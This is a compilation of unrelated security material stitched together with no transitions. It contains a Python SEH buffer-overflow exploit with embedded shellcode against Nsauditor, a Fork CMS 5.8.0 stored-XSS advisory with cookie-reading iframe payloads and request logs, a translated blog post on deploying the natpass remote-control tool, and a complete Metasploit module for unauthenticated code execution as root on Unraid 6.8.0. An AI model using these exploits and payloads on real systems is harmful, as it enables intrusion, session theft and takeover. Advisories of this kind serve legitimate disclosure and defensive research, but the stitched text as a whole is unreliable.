\x00\x0a\x0d\x2e\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9f\xf0\xf1\xf2\xf3\xf4\xf5\xf6
# Maybe less badchars between \x80 and \x9f but I was lazy (I just
checked thoose I needed)
# msfvenom -p windows/exec CMD=calc -e x86/alpha_mixed -f python -v
shellcode
shellcode = b""
shellcode += b"\x89\xe7\xd9\xe9\xd9\x77\xf4\x59\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43"
shellcode += b"\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30"
shellcode += b"\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
shellcode += b"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += b"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x6e\x62\x73"
shellcode += b"\x30\x37\x70\x75\x50\x35\x30\x6f\x79\x68\x65"
shellcode += b"\x36\x51\x6f\x30\x43\x54\x4e\x6b\x70\x50\x30"
shellcode += b"\x30\x4e\x6b\x43\x62\x56\x6c\x4c\x4b\x73\x62"
shellcode += b"\x54\x54\x6c\x4b\x61\x62\x65\x78\x36\x6f\x58"
shellcode += b"\x37\x71\x5a\x56\x46\x66\x51\x49\x6f\x6e\x4c"
shellcode += b"\x65\x6c\x51\x71\x53\x4c\x43\x32\x46\x4c\x47"
shellcode += b"\x50\x6f\x31\x4a\x6f\x66\x6d\x46\x61\x79\x57"
shellcode += b"\x69\x72\x69\x62\x46\x32\x36\x37\x4c\x4b\x63"
shellcode += b"\x62\x76\x70\x4c\x4b\x63\x7a\x45\x6c\x6e\x6b"
shellcode += b"\x72\x6c\x47\x61\x62\x58\x79\x73\x77\x38\x55"
shellcode += b"\x51\x7a\x71\x72\x71\x6e\x6b\x62\x79\x57\x50"
shellcode += b"\x37\x71\x78\x53\x4e\x6b\x57\x39\x72\x38\x5a"
shellcode += b"\x43\x54\x7a\x61\x59\x4e\x6b\x57\x44\x4c\x4b"
shellcode += b"\x45\x51\x39\x46\x30\x31\x79\x6f\x6e\x4c\x5a"
shellcode += b"\x61\x4a\x6f\x44\x4d\x63\x31\x79\x57\x76\x58"
shellcode += b"\x49\x70\x51\x65\x69\x66\x76\x63\x43\x4d\x58"
shellcode += b"\x78\x45\x6b\x51\x6d\x57\x54\x64\x35\x48\x64"
shellcode += b"\x46\x38\x6c\x4b\x42\x78\x67\x54\x36\x61\x6a"
shellcode += b"\x73\x31\x76\x6c\x4b\x44\x4c\x52\x6b\x6c\x4b"
shellcode += b"\x66\x38\x65\x4c\x57\x71\x4a\x73\x6e\x6b\x36"
shellcode += b"\x64\x4e\x6b\x47\x71\x38\x50\x6d\x59\x42\x64"
shellcode += b"\x35\x74\x51\x34\x31\x4b\x33\x6b\x70\x61\x42"
shellcode += b"\x79\x43\x6a\x50\x51\x6b\x4f\x4d\x30\x33\x6f"
shellcode += b"\x63\x6f\x43\x6a\x4e\x6b\x77\x62\x7a\x4b\x6e"
shellcode += b"\x6d\x53\x6d\x50\x6a\x67\x71\x4e\x6d\x6c\x45"
shellcode += b"\x4e\x52\x73\x30\x37\x70\x75\x50\x72\x70\x35"
shellcode += b"\x38\x46\x51\x4e\x6b\x52\x4f\x4f\x77\x4b\x4f"
shellcode += b"\x38\x55\x6f\x4b\x4c\x30\x6e\x55\x6c\x62\x71"
shellcode += b"\x46\x53\x58\x4f\x56\x6d\x45\x6d\x6d\x6d\x4d"
shellcode += b"\x39\x6f\x58\x55\x47\x4c\x44\x46\x43\x4c\x74"
shellcode += b"\x4a\x6b\x30\x49\x6b\x59\x70\x34\x35\x47\x75"
shellcode += b"\x6f\x4b\x50\x47\x56\x73\x73\x42\x70\x6f\x53"
shellcode += b"\x5a\x67\x70\x51\x43\x4b\x4f\x6b\x65\x31\x73"
shellcode += b"\x70\x61\x52\x4c\x30\x63\x73\x30\x41\x41"
# 0x006ea017 : pop esi # pop ecx # ret | startnull
{PAGE_EXECUTE_WRITECOPY} [Nsauditor.exe] ASLR: False, Rebase: False,
SafeSEH: False, OS: False, v3.0.28.0 (C:\Program
Files\Nsauditor\Nsauditor.exe)
# 0x006ea017 : pop esi # pop ecx # ret | startnull
{PAGE_EXECUTE_WRITECOPY} [Nsauditor.exe] ASLR: False, Rebase: False,
SafeSEH: False, OS: False, v3.2.1.0 (C:\Program
Files\Nsauditor\Nsauditor.exe)
pop_pop_ret = b"\x17\xa0\x6e"
jmp_back = b"\xeb\xc3\x90\x90" #JMP 0xffffffc5
# An address near the end of our buffer is on the stack, only three pop
are needed to get it
# Then we just have to moving at the begging of our buffer
# An egghunter does the job, but will not be compatible with all Windows
versions
going_back = b"\x58" #POP EAX
going_back += b"\x58" #POP EAX
going_back += b"\x58" #POP EAX
going_back += b"\x83\xE8\x79" #SUB EAX,0x79
going_back += b"\x83\xE8\x79" #SUB EAX,0x79
going_back += b"\x83\xE8\x79" #SUB EAX,0x79
going_back += b"\x83\xE8\x79" #SUB EAX,0x79
going_back += b"\x83\xE8\x79" #SUB EAX,0x79
going_back += b"\xFF\xE0" #JMP EAX
buffer = b"\x90"*(5235-len(shellcode)-len(going_back)-100)
buffer += shellcode + b"\x90"*100
buffer += going_back
buffer += jmp_back + pop_pop_ret #nSEH / SEH
# Write the exploit
file = open("nsauditor-3-2-1-exploit.txt", "wb")
file.write(buffer)
file.close()
# Title: Fork CMS 5.8.0 - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Vendor: https://www.fork-cms.com/download
# Software Link: https://github.com/forkcms/forkcms/pull/3073
# CVE: N/A
Document Title:
===============
Fork CMS v5.8.0 - Multiple Persistent Web Vulnerbilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2208
ID (3073): https://github.com/forkcms/forkcms/pull/3073
Release Date:
=============
2020-04-17
Vulnerability Laboratory ID (VL-ID):
====================================
2208
Common Vulnerability Scoring System:
====================================
5.3
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Fork is an easy to use open source CMS using Symfony Components. Fork
CMS is dedicated to creating a user friendly environment
to build, monitor and
update your website. We take great pride in being the Content Management
System of choice for beginners and professionals.
(Copy of the Homepage: https://www.fork-cms.com &
https://www.fork-cms.com/download )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent web vulnerabilities in the official Fork CMS v5.8.0.
Affected Product(s):
====================
ForkCMS
Product: Fork CMS v5.8.0 - Content Management System (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2020-04-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been
discovered in the official Fork CMS v5.8.0 open-source web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.
The persistent input validation web vulnerabilities are located in the
`Displayname` input field when using the `Add`, `Edit` or `Register`
mechanism that forwards the information into the `var` parameter. Remote
attackers and privileged application user accounts are able to
inject own malicious persistent script code as the users displayname by
usage of the registration module (/profiles/register). Privileged
users with access to the profile or users module are able to exploit the
issue by a simple inject. The displayname then becomes visible in
the Admin - Profiles Index on Preview, Edit User/Profile, Delete User
Interaction and User Index in Listing modules. the var parameter
does not encode or parse the exisiting injected content and executes it.
The request method to inject is POST and the attack vector of the
vulnerability is located on the application-side of the content
management system. The injection point is located in the registration form
and the add/edit user function. The execution point of the issue occurs
in the preview profile, edit user, user index listing and delete
user message context.
Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Register
[+] Add User
[+] Edit User
Vulnerable Input(s):
[+] Displayname
Vulnerable Parameter(s):
[+] var
Affected Module(s):
[+] Preview Profile
[+] Edit User
[+] User Index
[+] Delete User
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by
remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the security vulnerability
follow the provided information an steüs below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the fork cms web-application newst version
2. Move via sitemap or by link to the registration page
(/modules/profiles/register)
3. Inject your script code payload html/js to the Displayname input field
4. Register the account by pushing submit
5. Activate the link in the account registration email
Note: Now simple wait until the administrator / privileged user visits
the panel to execute the code on interaction or preview only
6. Successful reproduce of the persistent script code injection
vulnerability!
PoC: Vulnerable Source (User Index in Listing -
https://fork-cms.localhost:8080/private/en/users/index)
<tr id="row-2" class="even">
<td class="nickname"><a
href="/private/en/users/edit?token=k7byefqor8&id=2"
title="edit">test3"><iframe src="evil.source"
onload=alert(document.cookie)></a></td>
<td class="fork-data-grid-action actionEdit"><a
href="/private/en/users/edit?token=k7byefqor8&id=2"
class="btn btn-default btn-xs pull-right">
<span class="fa fa-pencil" aria-hidden="true"></span> Edit</a></td>
</tr>
PoC: Vulnerable Source (Profiles Index on Preview -
https://fork-cms.localhost:8080/private/en/profiles/index)
<tbody><tr id="row-1" class="odd">
<td class="check"><input type="checkbox" name="id[]" value="1"
class="inputCheckbox checkBeforeUnload"></td>
<td class="email"><a
href="/private/en/profiles/edit?token=k7byefqor8&id=1"
title="">tester23@protonmail.com</a></td>
<td class="display_name">"<iframe src="evil.source"
onload="alert(document.cookie)"></td>
<td class="registered_on">13 April 2020 11:17</td>
<td class="fork-data-grid-action actionEdit">
<a href="/private/en/profiles/edit?token=k7byefqor8&id=1" class="btn
btn-default btn-xs pull-right">
<span class="fa fa-pencil" aria-hidden="true"></span> Edit</a></td>
</tr></tbody>
PoC: Vulnerable Source (Delete User - On Interaction)
<form name="delete" method="post"
action="/private/en/users/delete?token=k7byefqor8">
<input type="hidden" id="delete__token" name="delete[_token]"
value="q3ADogMObka_-73n5afnMPsJHj9ZAI_ch5uiabqDsqs" />
<input type="hidden" id="delete_id" name="delete[id]" value="2" />
<div class="modal fade" id="confirmDelete" role="dialog" tabindex="-1"
aria-hidden="true" aria-labelledby="confirmDeleteTitle">
<div class="modal-dialog"><div class="modal-content"><div
class="modal-header">
<h4 class="modal-title" id="confirmDeleteTitle">Delete</h4></div>
<div class="modal-body">
<p>Are your sure you want to delete the user "evil.source"><iframe
src=evil.source onload=alert(document.cookie)>"?</p></div>
<div class="modal-footer">
<button class="btn btn-default" title="Cancel" data-dismiss="modal">
<span class="fa fa-times" aria-hidden="true"></span>
<span class="btn-text">Cancel</span></button>
<button class="btn btn-danger" title="Delete" >
<span class="fa fa-trash" aria-hidden="true"></span>
<span class="btn-text">Delete</span>
</button></div></div></div></div>
</form>
--- PoC Session Logs [POST] (Registration User Account) ---
https://fork-cms.localhost:8080/en/modules/profiles/register#registerForm
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://fork-cms.localhost:8080/en/modules/profiles/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie:
track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B;PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d;
interface_language=en; frontend_language=en; cookie_bar_agree=Y;
cookie_bar_hide=Y;
form=register&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&display_name=>"<iframe
src=evil.source
onload=alert(document.cookie)>&email=tester23@protonmail.com&password=pwnd
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: frontend_language=en; expires=Wed, 13-May-2020 09:49:57 GMT;
Max-Age=2592000;
path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax
track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B; expires=Tue,
13-Apr-2021 09:49:57 GMT;
Max-Age=31536000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location: https://fork-cms.localhost:8080
X-server: fork01
-- PoC Session Logs [POST] (Add User) ---
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Content-Type: multipart/form-data;
boundary=---------------------------56051791419552543783889366402
Content-Length: 2545
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
Upgrade-Insecure-Requests: 1
form=add&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&email=tester232323@protonmail.com&password=tester445
&confirm_password=tester445&name=test1&surname=test2&nickname=test3>"<iframe
src=a onload=alert(document.cookie)>&avatar=
&interface_language=en&preferred_editor=ck-editor&date_format=j F
Y&time_format=H:i&number_format=dot_nothing
&csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&add=
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location:
/private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-4
X-server: fork01
-
https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-4
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
-
POST: HTTP/1.1 200 OK
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Content-Length: 3615
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Vary: Accept-Encoding
Content-Encoding: gzip
X-server: fork01
-
GET: HTTP/1.1 200 OK
Server: nginx/1.6.2
https://fork-cms.localhost:8080/private/en/users/evil.source
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location: /private/en/error?type=action-not-allowed
X-server: fork01
-- PoC Session Logs [POST] (Edit User) ---
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Content-Type: multipart/form-data;
boundary=---------------------------388544425912514902093103180709
Content-Length: 2563
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
form=edit&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&email=testemail337@protonmail.com&name=test1&surname=test2
&nickname=test3>"<iframe src=evil.source
onload=alert(document.cookie)>&avatar=&new_password=&confirm_password=
&interface_language=en&preferred_editor=ck-editor&date_format=j F
Y&time_format=H:i&number_format=dot_nothing&
csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&edit=
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location:
/private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe src=evil.source
onload=alert(document.cookie)>&highlight=row-2
X-server: fork01
https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-2
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
-
POST: HTTP/1.1 200 OK
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Content-Length: 3585
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55 GMT;
Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Vary: Accept-Encoding
Content-Encoding: gzip
X-server: fork01
Reference(s):
https://fork-cms.localhost:8080/en/modules/profiles/register
https://fork-cms.localhost:8080/private/en/profiles/index
https://fork-cms.localhost:8080/private/en/users/index
https://fork-cms.localhost:8080/private/en/users/edit
https://fork-cms.localhost:8080/private/en/users/add
Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities
in the fork cms web-application is estimated as high.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
In daily work, we need various remote control tools such as sunflowers, todesks, etc. How to deploy your own remote control platform privately? My cousin in this article introduces you to the tool host management tool, which supports shell management and remote desktop.
Main Functional Characteristics
supports privatization deployment with smaller memory footprint (about 20M) supports TLS secure connections, supports multiple asynchronous IO, supports links and terminal session monitoring, supports web shell, supports web vnc, supports multiple operating systems
Experimental Environment
Server (centos7) controlled end (window11) control end (kali Linux)
Deploy the server
Here, I use public network (centos7) vps on the server. It's OK if it's a LAN device.
First, download the corresponding package according to the server architecture.
wget https://github.com/lwch/natpass/releases/download/v0.12.3/natpass_0.12.3_linux_amd64.tar.gz -o linux_amd64.tar.gz
tar -zxf linux_amd64.tar.gz
cd natpass_0.12.3
./np-svr --conf server.yaml
Open external network firewall, default port 6154
Controlled end deployment
The controlled terminal is deployed as a Windows computer. Download the Windows system package. As follows
Modify remote.yaml configuration file and modify server address Start np-cli.exe --conf remote.yaml --user `whoami`
Control side deployment
Download and decompress to any directory on the local control machine
Modify local.yaml configuration file and modify server address
(Optional) Modify the rule configuration file in the rule.d directory, rule configuration method
Start the client program with the following command
sudo ./np-cli --conf local.yaml
After the above operation is successful, you can access it in the browser through the port number configured in local.yaml. The default address is:
http://127.0.0.1:8080
The effect is as follows
Using
Connect vnc effect
We click on the VNC connection below, or click on the Terminal tab and select vnc
Terminal connection
Setting and reading clipboard
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unraid 6.8.0 Auth Bypass PHP Code Execution',
'Description' => %q{
This module exploits two vulnerabilities affecting Unraid 6.8.0.
An authentication bypass is used to gain access to the administrative
interface, and an insecure use of the extract PHP function can be abused
for arbitrary code execution as root.
},
'Author' =>
[
'Nicolas CHATELAIN <n.chatelain@sysdream.com>'
],
'References' =>
[
[ 'CVE', '2020-5847' ],
[ 'CVE', '2020-5849' ],
[ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ],
[ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ]
],
'License' => MSF_LICENSE,
'Platform' => ['php'],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 10 2020'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the Unraid application', '/'])
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET'
)
unless res
return CheckCode::Unknown('Connection failed')
end
unless res.code == 200
return CheckCode::Safe('Unexpected reply')
end
/\sVersion:\s(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2}) / =~ res.body
if version && Gem::Version.new(version) == Gem::Version.new('6.8.0')
return CheckCode::Appears("Unraid version #{version} appears to be vulnerable")
end
CheckCode::Safe
end
def exploit
begin
vprint_status('Sending exploit code')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET',
'encode_params' => false,
'vars_get' =>
{
'path' => 'x',
'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
}
)
if res.nil?
print_good('Request timed out, OK if running a non-forking/blocking payload...')
elsif res.code == 302
fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
else
print_warning("Unexpected response code #{res.code}, please check your payload.")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end